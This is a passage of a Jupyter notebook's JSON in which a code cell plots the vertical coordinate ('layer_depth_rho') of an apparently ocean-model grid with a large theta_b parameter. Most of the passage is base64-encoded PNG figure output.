Jggg==", "text/plain": [ "<Figure size 900x500 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "grid_with_large_theta_b.plot_vertical_coordinate(\"layer_depth_rho\", eta=50)" ] }, { "cell_type": "code", "execution_count": 43, "id": "b51ff1bd-c515-40da-89b0-a8285dc7b907", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 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vVAXJJSUl2LJlC0444QRNpqK+oqioCACNLsi9mU1NTSoPbUlJCTo7OzFr1qwe7Xvv3r2qdXv27FEU7h7Kc5Fj8eLFOO644/DCCy8o1re3tyM9Pf2wH78rFBUVKQZlEnbt2sW2A8Bjjz2m+A5yc3MV7bu7vtJ+4h0rPT39kNDPdncNJ0+ejMmTJ+Nvf/sb3nzzTVx00UV4++23ceWVV/b4GBkZGUhMTATP893ef/H6s3XrVuzZswevvPIKLr30UrZ++fLlPe7HoURRURFWrFgBj8ejiELE3gfx8Oijj+K+++7r0XH6KvJ34MABhfEh6Wr8+OOPCmOhtrYW1dXVuPrqq/t0HB06fs3QayB06NDRY0geSLmndu3atfj+++81219yySXYsWMHbrnlFhiNRpx//vmK7eeeey5qamrw/PPPqz7r9/vh9Xr71M9Zs2bBbDbjqaeeUvQ11oCR+vD9999j6dKlqm3t7e0qJdoPP/wQNTU1bHndunVYu3YtTjnlFLZOGsC2t7f3qf/xYDQaVV7yRYsWKfpzOI/fFebMmYN169Yp7gWv14vnnnsOxcXFrHZl3LhxmDVrFvuLrWnp7vrm5ORg9OjReOWVVxTnt23bNixbtgxz5sw5JOcT7xq2tbWpvgNpAKqVAtMVjEYjzjrrLLz33nuaVLVNTU3d9kfrN0kIwZNPPtmrvhwqzJkzBzzP4z//+Y9i/eOPPw6O4xS/Ey0cyhoI+fWTsGTJEmzYsAEnn3wyWzds2DCUlpbiueeeU6QFPvPMM+A4DmeffXa3x9Kh47cGPQKhQ4cOBV588UVNfYU//elPmDt3Lt5//32cccYZOPXUU1FWVoZnn30WQ4cO1Uw7OPXUU5GWloZFixbhlFNOQWZmpmL7JZdcgnfffRe/+93vsHLlSkydOhU8z2PXrl149913sXTp0m4FoLQg8dM//PDDmDt3LubMmYNNmzbh888/V3jqAeCWW27Bxx9/jLlz5zIqT6/Xi61bt2Lx4sUoLy9XfGbAgAGYNm0arr32WgSDQTzxxBNIS0tTpECNGzcOAHD99ddj9uzZmsZTXzB37lzcf//9uOyyyzBlyhRs3boVb7zxhipnvKSkBMnJyXj22WeRmJiIhIQETJo0qcc1JH3BbbfdhrfeegunnHIKrr/+eqSmpuKVV15BWVkZ3nvvPVb83R16cn0feeQRnHLKKTjmmGNwxRVXMBrXpKSkQ6b+PXr0aBiNRvzjH/9AR0cHrFYrjj/+eLz55pv473//izPOOAMlJSXweDx4/vnn4XK5FMbLwoUL2fl3RSv797//HStXrsSkSZNw1VVXYejQoWhtbcXGjRuxYsUKtLa2Aoj/nZaWlqKkpAQ333wzampq4HK58N577/WonuNwYN68eTjuuONwxx13oLy8HKNGjcKyZcvw0Ucf4YYbbkBJSUmXnz+UNRBTpkzBmDFjMH78eCQlJWHjxo148cUXUVBQgL/+9a+Kto888ghOO+00nHTSSTj//POxbds2/Oc//8GVV17J6jd06NAhwxHhftKhQ8dRB4nyMt5fVVUVEQSBPPTQQ6SoqIhYrVYyZswY8umnn5IFCxbEpVX8/e9/TwCQN998U3N7KBQi//jHP8iwYcOI1WolKSkpZNy4ceS+++4jHR0drB0A8oc//KHH58PzPLnvvvtITk4OsdvtZObMmWTbtm2kqKhIQeNKCKUbvf3228mAAQOIxWIh6enpZMqUKeTRRx8loVCIEBKlGX3kkUfIY489RgoKCojVaiXHHnss2bJli2J/kUiE/PGPfyQZGRmE4zhG6SrfRywAkHvuuafLcwoEAuSmm25i5zR16lTy/fffkxkzZpAZM2Yo2n700Udk6NChxGQydUvpKlFnNjU1qbYVFRWRU089VbVe65j79+8nZ599NklOTiY2m41MnDiRfPrpp12ek4TeXF9CCFmxYgWZOnUqsdvtxOVykXnz5pEdO3Yo2sSjce3p+Tz//POkf//+xGg0MkrXjRs3kgsuuIAUFhYSq9VKMjMzydy5c8mPP/6o+OxZZ51F7HY7aWtr6/bcGxoayB/+8AdSUFBAzGYzyc7OJieccAJ57rnnFO3ifac7duwgs2bNIk6nk6Snp5OrrrqKbNmypVdUvoREaVwXLVqk2rZgwQKSkJCgWi/dO3J4PB5y4403ktzcXGI2m8nAgQPJI488oqBU/jlwxx13kNGjR5OkpCRiNptJYWEhufbaa0l9fb1m+w8++ICMHj2aWK1Wkp+fT+688072+9ehQ4cSHCFHUBpShw4dv3rceOONeOGFF1BfXw+Hw3Gku9NnlJeXo1+/fnjkkUdw8803H+nu/Orwa7u+WVlZuPTSS/HII48c6a7o0KFDxyGHXgOhQ4eOw4ZAIIDXX38dZ5111i/aeNChozfYvn07/H4/br311iPdFR06dOg4LNBrIHTo0HHI0djYiBUrVmDx4sVoaWnBn/70pyPdJR06fjYMGzYMbrf7SHeDIRQKsVqKeEhKStL1DnTo0NFj6AaEDh06Djl27NiBiy66CJmZmfj3v//NWGp06NDx82PNmjU47rjjumzz0ksvYeHChT9Ph3To0PGLx2+qBuLpp5/GI488gvr6eowaNQpPPfWULhCjQ4cOHTp+1Whra8OGDRu6bDNs2DAmqKZDhw4d3eE3Y0C88847uPTSS/Hss89i0qRJeOKJJ7Bo0SLs3r1bRS2pQ4cOHTp06NChQ4cObfxmDIhJkyZhwoQJTNxGEAQUFBTgj3/8I2677bYj3DsdOnTo0KFDhw4dOn4Z+E3UQIRCIWzYsAG33347W2cwGDBr1ixNBd1gMKhQFBUEAa2trUhLSwPHcT9Ln3Xo0KFDhw4dOnToONwghMDj8SA3N7fHop+/CQOiubkZPM8jKytLsT4rKwu7du1StX/44Ydx3333/Vzd06FDhw4dOnTo0KHjiKKqqgr5+fk9aqvrQGjg9ttvR0dHB/urrKwEAEx+5X2MePBfR7h3OnTo0KFDhw4dOnQcHPLmn4tpi5Zi8ivvAwASExN7/NnfRAQiPT0dRqMRDQ0NivUNDQ3Izs5WtbdarbBarar1JkcCTPYjLIYlpVApUqk45arojOpzcdtwnGyXGseQPt9VP2TzHGJSveJlfqlSwnqWInaoU8n6VgrUx/Ih+bFidkHkK2L7RLS3qXoRp11sa/UmotkutqGyWfz9K/qo7mT8ffw2yrJ06NAB0HcAx0HxHpOWpfdS7DI4wGCgn5A+z3H0vWOgbTmOo7sUP8sZOIAziOulfYnvEYMBHGcQD2FQvd841XuOA0Bi3nmA+n0m/0w3IOL+CCA9H4m0PrZdzDwBoT2SPkukBSJbR+c5EPq+E9sQEEAQoscSBHE7ASECWyaCNC8APJ1K6/Rndg9gMIIziveZ0QjOYBD/6DzEZXovcmzKGQzRe1W6N6X7FFDex+DUQyhCurz/rClpMDkS2HJvxla/CQPCYrFg3Lhx+PLLLzF//nwAtK7hyy+/xHXXXderfVnTMtFvwdXxGxACgNMekIo/SkAaKHKyH57yRy19h0T2GfqDjrPMHgRE8VAAQH/kis8SEIFOIYjr2QNGtr848+yhFPs52Tkqzl913pA94Fij6PlGF+MPan9WxBpDXBeb1IadVntOvi3mB8vJ18XdFvMylbVXGILsxSrru3yd6uUd89Jl+1Ueh+OU/Ve9YKWXOVuOngvH+oXoMWI+z8Wev7iOiL+v6ENU/uCU9ZUQ5fE1rqXimgKIHRD0GFKfNDf9PPcsPQeiuo7RjkB9Tdk1kz1vEL0XVE6H2P0SrY3ah4/Z0tWpHAXo5j74Oevg4t0/3d5X8frYjTOAU64ksucwx8nfO/JdiYNLaf/SdkAcmBI2KCYCAYgQ3Y/0bhJ48V0k0KnAK7bRgWp0ni7zILwgLvMgPE+PJwggPB9tK62X1vE8CB+RtROnPC/uU5zXcVDgDEZxUMzJDDTZcx+Q3RuQGS6C7DsW4h/gkHRSfFdJ/TNI7zOD6lkqe0uoxz7s3hXi3zuCeP8d3jPqNVJGj+/zZ38TBgQA/PnPf8aCBQswfvx4TJw4EU888QS8Xi8uu+yyXu0n2NKIsleeO0y91KFDhw4dOnQc1TAYwSm8yAZwRhMdKBujnmVoeZll3mWFA0bmSOGYkwjRqIRs4C1BEYeOiT4QqB2AzICTDdKJIBlwgszA4kEiEQiRCJtnhl8PQfd5GAbMsmiRwhmi7oHsmsQYr6wJYYbsERnYcxwMZjM4swUGkxmc2QyDyQTOZAJnNMFgpPeZMjphiDHCwM5LOkcWLRIEkEhEmdkQA0tySp+7/5sxIM477zw0NTXh7rvvRn19PUaPHo0vvvhCVVjdHSxJKcieNafrRpxqRu25la2L69WVewINXHzPLacxL4ZyJUta9YAyxKxnIV65d1u+T8jWy3+86lAxhTySQKLPPxpAVTwGpQcdx3Hig08DJGZB7gXtKxRPYqUXORoBimmn+DBResBZZ9TnGA9E2gfz5spPSFyWRWWI3PUnRqyIYjkmQiRrr44aIbpv2XF6Ek1SR5Jkn43ZryJqJu5DM5LG+gHlC1B2HPW5SotEtU51LrKrrjnbjVe3y9Bul1/1IfZmd3MuROM77Xobid2TaluXbVR9UrU8KtGn4FBXHzqYaNMhjnh0/ZGYjRrvJE5ru2bkkraWvzvY+wDR9Av2PjEY2HuMDohk7yh5W0N0cA7ZIB1cdIAOgzINBJz03JU9D6QIuzRgJiQ6sGKRDSmSQQfKRCAgfDg6kBb/6GBaHFCHQ3Q5EoEQCdNpOByzHG1DeGn664hscAYjOLMZnIkOcul3wbHvIToMEAfu4vUWeB4kEgYJh/t+LQQBBIc5MhEPBiMd1JtM1IA0GgCDSYxgcMrfEqFRiWiES7wHwhFqXIlthFAICIVw2O4MyXiNg7C7o8+7/s0YEABw3XXX9TplKRac2QxbTm78Bl0OqHqWIsTCuESWeiSF9GK2E0EAeB7RHEVe6VGQh4fFHzEIYaFbZYhYiFlHWM5jNP+RQJ4jSR/M4lTcpuMQItbAk7+sOYO4SWkMslCsrG00fCx7kXMx2+IYnNLDh06ldjIjVcxHZm3Y5w0xx4N6HSB+toscZZW3zgAY5QZ1HGNavH5Rb560DtF10jWW1sdLRepqQMzG5OqBvSolT9GuNwNOjUEf677MiBXXy68Na6O6PlpOA/l+NJblObaya6hMdZNv78G5HCVQOne6bBn7Qe199BBdGq49MHy735+GoacwKDUcEgrDUXQ2CAKdF9NfFd5O9v6RpaHwgurdEvVwC8oBujR4Z+vEwbls4M2Ww2FxYC6bhiOA8AsdnIvRC84oG5xKHmiTiQ7WpQGryaSMbsQ+H9l7ApCN4mVfcfS7ksYLAi+A8BFAMpIiYQjhMDWAQiHwoRAQCSu6TAQeJMgDQRz0wJcaI/R8mRFJO6tILyMxfegzDAYYxOvNPPvy361AQIh0j9L7L7qNhyDwQDh0aPoCgLNYYLTZYbTaYbRZaTTCYqXfvRiBUKQuy4wSIRKBEApCCATABwMQQkHwwSCEYCD6GxZTp+KBHMSY7TdlQBwKBJsbUf7a/x3pbvw2EeP1OrSI4009GK/ioYDMq85Sh49gd3To0KHjlwA6EDfDYDZH00MU8xaaPmIyyebFNmYpnYS248wm+jmTmQ48ZQ9jIk8fEaMZ0iBPYDUWoiEkRiOYJ14asIdC4qA9TAeEopdeCMvXh+gg+ki+kzgOBqsNRouVXSPJqJEcDIQN/Om58aEQhNhBrQzMGEFQfbx43TCaqPef0/D8R/fMnKk0BUsaUAsQhBBwqOwRixUGqw0GS/R+4sSIDABFH4g44OeDAQii1hgJhRAJhRBB3yIBnMkEU4ITpgQnzEnJMCU4YbQ7YHI4xH5Zu4xAuEqH9em4gG5A9BqWpBTknHxa142Y1zO6HPXecTHpSBreXplXOOp1NiisZRbONUjbqJUqL1ySwok05GtkoWGIn2F5mWJYWB46VjAAMA+HQfmjlXtA5ClT8j5L18NgACH0NGmBNxD1jJDoNiKApfMovGOIRmMU6VEi+vJQjX3ocOyfzKMq87hCVsgr9Y95ael2KeWJrTJID1VpXnZcIl0DrZQeQXbOQvRFpRWxEj2DIGDzUe+geL2kHE+JRUOQH0PGuiF5IxRRppg+SB5I0dPIjsvaEUV/o5EpDU+mvI/yaFvMcaMRLhL/Okj3hiDP/xWvYVepTxrre4TY37hik8YLTaO9IuIRz3sdm5Yly22ONlGukxMmKFLfiGxZ+n6kY0jXUb7cbToc2DrN69obSL+rnwvx+hh7vXt6Lt1FEro6tx6et2YKbC/3py6mB+TRuLhRKEXUkotGDqV3QOz7SSv/32iMpidJ3lX2Z4rWFcg98LHzpuhg3mAWjQSTmRkMgAASjkS9sQE/+GAAfMAPPhCg3lrZOiEYVExD3k72GSEYjJkGjqo0JM5ohMFioV5rs4UNYg2yZen6yccBdDwCSBEnlr0QkaIQIXHgHwAvXS+/jxo1AT+EgL/vfTabYbTaqGEmRgGkrAhmQAUDXe6DppL1uQtx+0U9/0qjiL1TeB5CJGrkSdkWQihIl3t9QA6mhESYEhNhciTAYLdHDTMpGgMCwgv0uMEgIj4vIt5O+tfZKX5nEYQ72hHuaO/TeRvMZqRPmtanz+oGRC9hzchCv0uvit9APtBVDIJiB0dC1GMhS1FiaUaMTSKGYULBJCEPAVPPBh8MRvM05eFgWWGU9HlWIKUVPo4NL8cus7C0tC6mcEeWTiUPc+uQQTLKFOlGBmUqj4wdgk5jjEP5i5ozKF/k4jqapym+yNnL3hjzktfINY5dzxkAY5xjcVJbTuM4nCxfmQPMZm1jV+s4MsNXzuahNKhl10yRhytL65LnV8etJaLLyq9IPRAjqoEz2yDbrjR86ax64K/eZ7xbRSNtJuZcFGlqMalk8e+tozOdSMfRD8V7S/O9FIm+Z6S6AJknXpB52IksZYauE+dDQXEanZcG9HJPrjS454PRgd1hB8eJ3mcrHfhZLDBYrTBYZMuxUzbIjw7uWeqRLMWZMFafaCpNtH4gIg5kxesiGkZ8MGochd1uCEG6/nC8d42OBJgcCTDaRA+3mG4DiPdFhAcfpn2TBr2MFTIcRiTcM/e/dN2kATURB/OCeG9BrDmJd47UuJIG5PS9REAAXoDAUyOTiH0h4TD4cLhPKVnGBCdMCQkwWu0wWC3gjGZZBIIWMksGasTbCd7vAwhBpNONSKe7ZwfhOJgTk2BOSYEzcwCNNiS6YLI7YLRawVksMBhMomFPayt4nxcRn7fLNKXEQUP6cMYUugHRS3j27cKmm353pLvx24U8FxCxTrRuBkMKD6lqo3LDz2HsEAIQXk9N0nFkIY8wKuprYiKkskhj1PBCzO9RGbETV0a3Hc2I493XNN5i5rmYc+0V5AambFk1r/gIiV3R5WeUZAJE9rjTjkyxqCFzhkUdWr8UhxBnMtMBrtUGo81G88zZsp2tM1itYv65sq3BaqVTi1UcoFnBcQbR4UYHm4LfTwdpfh94xZ+fee15vw+h1hZx2Q8+6GeRESF06HLpu4PBaoPRbofRaoPR7hD/7PQczWJqlsEYDf4LUo49Nd54vw+8z4eQx42Ix41gc2Ov+yAZHgabDQYjHX4KAg8SCiLi8yPi9SgMwN569zmjWEwv1i1IBcq9gcFigdHuYGlJtAZBjJIIYpRENAZ4vw8AwHs7wXs7e9ZHswWW9ExYklNgdibC6EhgRhIAanSHggi7OxDuaEeoow0RjxsgBGF3O8Ludvgqyro/D6sVZlcyzK4kGMzmuO2c/Qb0qN9a0A2IwwV5Yai8mFXymCq8y7JlRgkXQwEnhXllYWApJBwttjFph4TFnDxFUY5R4zNSgZZqP8ZoHyQxFMmDrVin7bmWzlvutVZ5R2OLc2NTu47w4EOVYiRjCwLzHGksS+FhaZAQm24UG6VSvbTV0SplwbugEf1R86ZHixrjfab7Anx58ZbUZ/lxpDB01DPJR/vNCvBFjxqRnY+cv50IMV7NGJ54FT987HWSXRuWfiO1lwZHALqIBhw0mJEL0IE2FMuKtDetNBIVYlJqBHl6EomeT189r4zC8OjjKNfxywQbjErvJ5NZmYJkNCnqEBiVpVSnYNbw3otTo9UazcO32uiy6AmXD/6lAaoEIgjRFJBODyKdnYh4PSwdJOLtRLC1GRGvlCbiAS/N+33gvZ2HL32J46LGi9UGgzS1WsWpbJto8EjRDgOLYkDxXBciIQhhWc69z0fPVzrXliZEPG42CO4LDFYbzEnJMCe62HXnDEaAEAh8GHwggEhnJ8LudkTcHeB9XvA+b7f7NTkT6SDebAY4A0BoGg8fCID3eZWFzTLE/X44A4x2G71uUuRHLEgWwtJ+O8XBe6hXhp3R4YAlKRUmp1PRZ2Zo+v0Ie9wId7SB9/tBwiGEmhsR6sYAMyenwpaRieT8UbCkpbNog8FsEY2kMELtbQi3tyHU3krnO9oR7mij5xAMItjUgGBTQ5fHSR45tsfnGguO/FxKR79guN1uJCUlYdqipQrFvl86iCBEi7XE3D4Vw4W4jdHThcUiMAU1XQRCRJb6FJtyJRfriU1/ih34yQfILA1MkOVcy/L0gegAsK/561q565qDvZicYKlGBaDGojxdhtHcxkkZkaclxUs9kucJSzUucgNSNa9h9MkNP8l4jLes9bmj3WN8CKGimlU3UHuXu/JSHyGomd1iWNLkRqrcOCOAXHVWnmopr61Rp2eCrWf1E7Qj8k5pz/cWh/oaqzz/yvXylZpsWrErujg3QkjX90hXhiR7VHGxKzTb0VmNaIpsyqnWi881BeNZDPuZzKHF9A7EZ5dB9jw5HKlxhBAIwQAiPh9Ly4h4O+m8t1NcHzUE5ANlZjD4vIfGYcBxYpFqAowO6sk3SR59R4I4Tz37dCrz9MsMHI4zghCx7kD08EfEAbb8PFmEw+eVtYm2PVRGjdGRAJMzEeZEF8yJLphcSTRaYDaLdQqg7/pgEBGfDxGvG6G2VoRammmKUk8undkCa2oaTM5EGKxWcSDM09QeTwdC7W09d4QYDNSgsliYgSqxAUqGAN+Heg3ObIE5KUlM0bLDYKLnTwSepjkFAoh4qVEUz5CJhdFuhzUtE5bUVJgTk2G022Gw2cEZOBBeQKTTg2BrE4LN9I/0gOWJM1tgy8iELTMb1sxs2DKyYM3IhDU9U4w6WMD7fQh3tHeZwmTPzUdCYTEiPi9WnzMbHR0dcLlcPTovPQLRS/CBAPz1tV20IMqXsLxoVVYzoKmYKdUnxNQjRMVcwhpc09I65VQ5H9Lc1tObX8dvE3IvosogUawzxGwzdf+ZuOuVnzVoRsNkFHxMzCnaF+X6OPUZsek58nnlVYhZlkWhiGxdVwNq+YA7JnJFNxPZODR2gMMpJ1KELpZyNyaKKY8EsmvFGRTXyGC2iNtjamR06IgDeXSRvZf4CCKBgMLRFK1rCEfrGMJBCEFxGgqBjyleZgW7wQBLl2GpQQH/IattMFitImtNIkzORJgSEsSpU/PP6Eig+e2OBJgcThhtNpqPT4joXe5AxONGWEztCXvc1GDxdiLQWI9wp0eMeIjRDp/30EczOE7sn4P2Ueyz6jykgbuUshYJgw8Fwfv9iLg7mCc72NIMz77diHR6en5dbXZY0zNgTcuAyemknnLQNKKItxPhjnb4G+oQaKgDGurin4rJBEtqGkwJiWLqDUfvqYCfXktJt0AQWIpYj/pntYpefFq7AYMRAKEsSH4fwh43/V7CIYSamxBCU5f7MyY4YclJhSU5lV5fq42lT0V8XoRammmUp9MD3u+Hr7oCvuqKuNfOnpMLZ78BSD9mOiyp6TA5HOAMRvB+H4LNjQg2NyLQ1IBgYwOCLdTI8NdWw19bHbePZlcyrOkZMFgscdtkHX8yEgqLe3IJVdANiF6is3zfr7YGQkV7ZzJFae4Yy4UYfpaYHUQhGcZdrUi5MmkM6mQDO2mdPJVJNsCTvPfa3n15iohykNUtFPm/spXyPGD5siLdRc1Ko0qTkUdJNDy6NIVHiKb8KFJyBFmxvDwlJyaSE1u0qFXozsuMUa3Cez7C9q95mXieaowcIro7Hb8ASGmWTBgqyvCmrpWQlgHEsK5pph3Gifr1CIcqUB4bcYzRB5HaqGoaZHUdXTIhaUU0Y9Bl/ULMsibrnGSIxraPiaB0x9YlZ+qKsrWJzyFC1PpC4nPjiELy/ickKAfKjgSxkFX8kxkEZmcijOJUPrCNBeF5hD1uMRWkDaG2VvhqKhHu6KC55x3tCLnbxdz0DkQ8HQd/PQwGGrFIcMIkGSp2agiwQmVHguycE6JRDocDnMlEWXpCQZoq5KH9CrvdCHtoDn2gsV7Mpad977VH3mSGJTUN1tQ0WFJSYUnLgDnRBc5gpFkMwQDC3k4EmxoQqK9Fx/Yt3TonremZsGZmwZTghMFkghCJIOLtRKitBYGGejpIRvzUG85kpoN2m1i0LNLrMjFaQmhqkt9HU6dEQzUU7NowMCUm0QhJootGCUwmmtYbCSPi81EDq6WJGsDeTvi9nfBXVWp0kIM1PQPOfgNgyciCxZUEo80OzmgE4XmE2lvhr6uBv64GweZGCAE/vGX74S3br9qV0e6APTcfjrwCpIwaD0dBEey5eTBa7Qi1tyLY2IBAYz01LpobEWyihoYQ8LOaia5wMClMugHRSxiMJpi7kf6Ws+UoagI4Tu0pZQNuAxuQS8Ixkow5J88hlQb3RqOCt1rBX22S+KtlfNcmkyLHlJPnmipow3T81sDYv2QMXXReUKWlRdtpCEHJjJJ4xoqK6UukDlQdRx6F02QdU6fGKQwvnpdF/jTqM+Q1BLLBk+K6xA7S5ClLUA862eCS01juboCtNbiOk54XWycjpR+xAletwZ8QraPp+mYgUcOx65Y6dDAo3lFyelWJGlNkHjJardH6BqlIWZyyImap2FdKDXI4okW/Vluv3lOCSHEZam+FZ39dNF+8rZVNw+1tCHW0UUXePkQ5OLMFZpcL5sQkmBITYXa6qAEjGixmZ6Is2iGy9SQ4qQFkt4PjODqA9oiDfo8bEbds3uNGsKmBet/FNhGPB2FPB9MS6HWfTSZYklNhTkqGJSUV5qQUWJJT2LzJ4QARBPChIMIdHdQ4aKxHoKEO7du20KLeLvdvhi07B/bsPNEDbgUhAnivF8GWJviqK+DesTXu5w1WG+y5eTAnJsFgsQKgBdXhTg9Crc0Ii0ZeuKOtR+drsDtgTU2jtRp2B6X7FQTwwQArCI94OxERDbB4MCclw1HUH9a0dJgTXTBYbOBMRpBwBKG2Fvjra+Cvq4UQ8CPYRAfz8faTUNQf6cccC0deEcwuFziDAcGWJvhra+CrqYS/pgqBpgbwfh869+9B5/49MReZgy0rB46CYiQUFCGpdDjs+QVw5BfB7EqiaVHNjTRaEYn/3Lfn5vfoGmpBr4HoAX6tNRCxIIIQ5c4Oi+Iv0pSFocM0BC0XtwmHFAqWsSlWbHAYh0IWMXS10RqIGEVuzYETc7v13EsZk0ssH+QpBnacbNAnMdBwnEx9Wa7XEaVNldaraVKj0Zdo/YJJmXKjWfQeLYY3yCM/JjM4k1HGg26M8qMzY9MkMzJj+NN1o/E3BxVltPw3KBkhUsRL1lb6/UWL6aXfYExNhCJFC+i+hkDRO3QZRjzY7Cqt+gWi1T+l4aZ4RRKtbT04N60aGjk45YyWjpCieWytlnwSZ5uihkKuIC+P8GoRYXBcNHosJ+KQlqW2PwMIISwdJtzRRr3qHe3MCIgtKmXpLr2AyZUES1IKzMnJdOpKgplNKauN2ZUMc1ISzE4XTYeJgRAORfvS0YZwe7s4pYZKWIpkiEw7Pa0h0ITByAwYs8sFU2ISrWOQ91ecWpJSYLDZaYpNcxOCzQ3UYy16rqkHu6FH/TEnJcOWlQN7di5s2bmwpKaD4zjwwQCCrU3wVVbAV1neJVuTNT0TjoIiWFLTYTCbIYTDCHW0wVddiWCXqeI0xdbsSobJ5aK1GlYbrYMATZsKe9w0hai7e4DjYE3PhC0rB5aUVBgdDhgMRmp8ujsQaKxDoKG+2+JvkysJCYX94Cgogi0zC0a7A+AMCHe0IVBXSyMO9TUIt8cxejgOtuxcOItL4CwZBGf/AXAUFEOIhBGoqYavphK+6kr4qirgqyrv8jsyJbrgyCuEI78Q9rwCzXtUQuKAUiQNHdGnGgjdgOgBjpQBQQiJ1i0oOLHFHFKR4kwIhhgPtlzKXHMakuYl/uwg+9zPSSmn4yiBwSgTY1KypSjS2CSjRZyPMqqo2ys+G+uRNMkMGZm6q27w6NDx2wARBMamE5EKn9mU1geEPW6E3R2IdLqj6Thuypnf69o9gwFmF/W0W1JSRU97GqXRTBaXxXlzUpKKvUkOPhBAsIUWuoZamxFsbUaorQWhVvoXbGtBqK21x5SeCnAcTblyJdFiZlcSjWq4XDA7XdQ4cFLDwJToopGNRBdMCU46cA8FaWSltYX1KdjaTHPxW2k+fqilucd1DSZXEmwZWbBlZsOWlQNbZhZsmTkwJyWBD4UQbKyHt7IcvqpyeCvLEWysj7svS1oGEor6wVFQDEtKKk0X62iDt/wAOg/sjdsnkysJ9pw82DKz6YCcECr210FTc8Ii81A856ElJQ22rGxYUtJgdCSIKV8RRDweBBrq4K+r6VK0zmCxwJ5bAEdeAayZ2TQFzmQGEQSE2lsRqKuFt6ocgfrauH0wJ6cioagfEor7I6GoP2xZOeCMJgTqa+AtPwBv+X50lh9AuL017jVw9huAxJJBcJYMQuKgIbBl5yLc3kbrKqrEvxpqXHTHuhSLwnMvQf8F1+gGxOGC3IAItbWi/M0X4zeWe+pUaRaCjLVIYjGSFUpHYguij1yRM2cyxRfBkeZlIWo2uNRIsVJSzWoX2WqqlkriYaqcazEfG4jxznFdOvkA6Tcu8yKyfOHoslwFGgqKVjWTDWsvKKcq6lSZV5cW0cfWMwiqKI2UxiPw0WJFGt2RxJjC0Xk+oo7+SCxavHRvRbpPYTnaITd4jCYagWG1OKaoh1RKBVQUeUsFxTE5/XLmGUXaEWI8ufL7JrZWRkx4EpReeQWTWLz6GAkx+ers+Jw8UqblKY7WDmkXqYvXKYaBy2DUuFax7FwG+XWLKU6Pibix36REYc1B+/cZ70faJYuRYiluO21I1092TeXbFFFHrXUay+JUXUPRhxoImS5DNIqjEemQP68U26MREKUCuUZRv7SsVZslECjTA2PSBhXMfNLzhxZLM+dUKEgdU5KjS2JOkjQQDlLFWILRbqdRgOQUWJKSqYc9KQWW5FRYUujULM6bnS5IImddQQiHaaFqI6W+DIgUmJLBEGxu7FVRMWc0iv1LiU5ZX6VIRhLj6jc7E1X9JIKAsKeDGgZtrdQwUEyjBkOvCp6tVlqHkJ5J2XvSMxmDj02cRryd1ONdXSkWANNpqKU57n4tKWlwFBbTAXNRf1iSU8H7ffBWlcOzdxctzNaICHBGIxwFxXD2HwBbVg4ADmFPBwJ1NfBWlHWvOWEwMMOQM5kQqKvtMvefMxphzy2AvaAI9owsGBOc4AwG8D4v/HXV8FVXwV9X3eUYzJycCkdBIZz9B8JZPAAmp5MWS1eVw1tRBm/FAVowrtkBDo7CYiSVDoerdBhcpcNhSnTBV1mGzgP70Fm2F53798JbWa75zjY5E5E4sJT+DRoC18AhsKZnABCJfmqrxIiFeB5dCPelTT4WWTNm6QbE4YLcgPBWlh2xImrObIFRS91SzhVtsdBQHlsn2ybxRjOBHItym0xFsycPXB2/PDCDJBKBEA5RCsFIlJVLTd0bkRklYdo+HIpS98rb8bH7jH5WMm7kRk80zS0kO5Y0SKHpcoeseFaHDh1HFwxGFVMQZTty0pQcJ6USZbSiYoqO2ZUMo9Xa68PxIi9+oKGOpaXQeVqAGmpt6dHzRs42RKMaYoFxahosKel0mpwCkzMxLquZwEcQbm+nEYLmJjqVIgdtLQi2toj1Ga29KtSWCp4tKalin9JpP1PTxT6nU4afBCcAUC92bRX8tTXw11YxVh9fTVWXnnlLWgYSCovhKCgSp/1gSU1DoKEOnj074d6zE569OzWNDc5koh71gaVI6D8QRpsd4fZWePbsRMeu7XEjGdb0TBrFKCyGyUlrBqiomx9hTzTfXwgEaOpOTj5MiS4adYiEEWisp0ZQZXlc5ibOZEZCUT84+w9AQlF/mJNSwBmNCLU208/WVMJfXYVQW4vm540JTiQOGAzXoCFIHDgECUX9EPF54a04QP/K6TTUqv68KcGJxMFDkTRkBJKGjYJr8FDAwMFXQY0Kz4E98Ozdhc4D+zRpXi0paUgcOBjOAYOROGAwEgeWwpqaHvc7jIVuQBwmyA0IPuBH46qvumyvyHE3xHjuJE8p8/ZR7yAV1rHAYDZRekWTKVrgLKV0/ELSN4ggROn7wlSUJaojEaMzIf0paAHlDEHKAlAiy8lm3jrJs9vDW1kuVgcO0VxgIFrszry9XWk5iOuNMfzoCiaqrmhLTVDWNcTUMOhGnGjs8IoIS3Q+HNUf0YrsyaI8kOX70xeyTFhOrkWilfdOVyiLqGM96woFZ0TvG0jRMi6q4Cy1jSmyVnnCVR5lqStKReBYQUBVQXpsUbzidyaPcGkUuPMxxekSU5hYswTIirpZ9EX6fWrUKHX3E+0qgngwFLMaNRgqliIpiiRnJ5JFIqMefOW66O417hn5fFfsTfLoqfz5xBbFdeIKTh7tkCIksnklkxSU91ts7ZZ82pVwqBRdNivTHQ1mS1TUTBJ6kxxcVltUF8HuELURHKxg+lDSBvOBADUGpD/ROAg21iPQUB930CeHwWKBVUzbsaZnwpaZBWtaJh18p2fAmp5JU2G66DfheQTbWsQi2gYZO04DjWS0NiPU1tqrgm2TKwnWlDRmsEjpWObkVJnxkqYyWoRwGAGRHclfX6uc1lZ3SYHKmUyw5+TDkV8Ae14hHPlFcOQXUspPjkPnfjqglSILmnSiBgMSCvsxT7mz3wAI4SDcO7ahfdtmdOzYqjZUDAYkFPWDq3Q4nP0GwOhIAO/3wVdVDs+eXeg8sKdP6da2rBwkFJfAWTIQtqxsGMwWhNra4Kssg7eyHN7y/XGvhzUjE85+A+HsPwDO/gNhzcoFiYThr6mEZ+9uePbuROeBvZr9sqSlwzVoKI0UDB6KxIGl4AMBuHdvh3vnNrh374Bn705VQTxnMtH6hOGjkDxsFFxDR8DsTIQQDsNbcQCevTvh3r0Tnr274K0s07yfLKlpcJYMhikhfup9+qRpyJx+gm5AHC78GouoiZhLqODbFgVq+IAffMDHQs6834+I3wdB4uiWuLtZHUVAVp8RAonovJ+HBDH1CQazhb68LWL6mMUqppBppJdppZ8xBhQLVXGV2mu2oet0XQAdOnQcaQjhsOiZbxbVdRtZilGgkQ7Qwx3t3e7HaLfDlpUbzevPylYIcZmTkrt95hFCEG5vowPxhloE6uuYvkGgvhbB5saeRQ0MBhopkCIEohEgRRAsqelizUYqKw7Wui7B5kZ67AbJeKpDoJFGWoItTV0bKhwHW2Y27Ln5sOfk0bSe3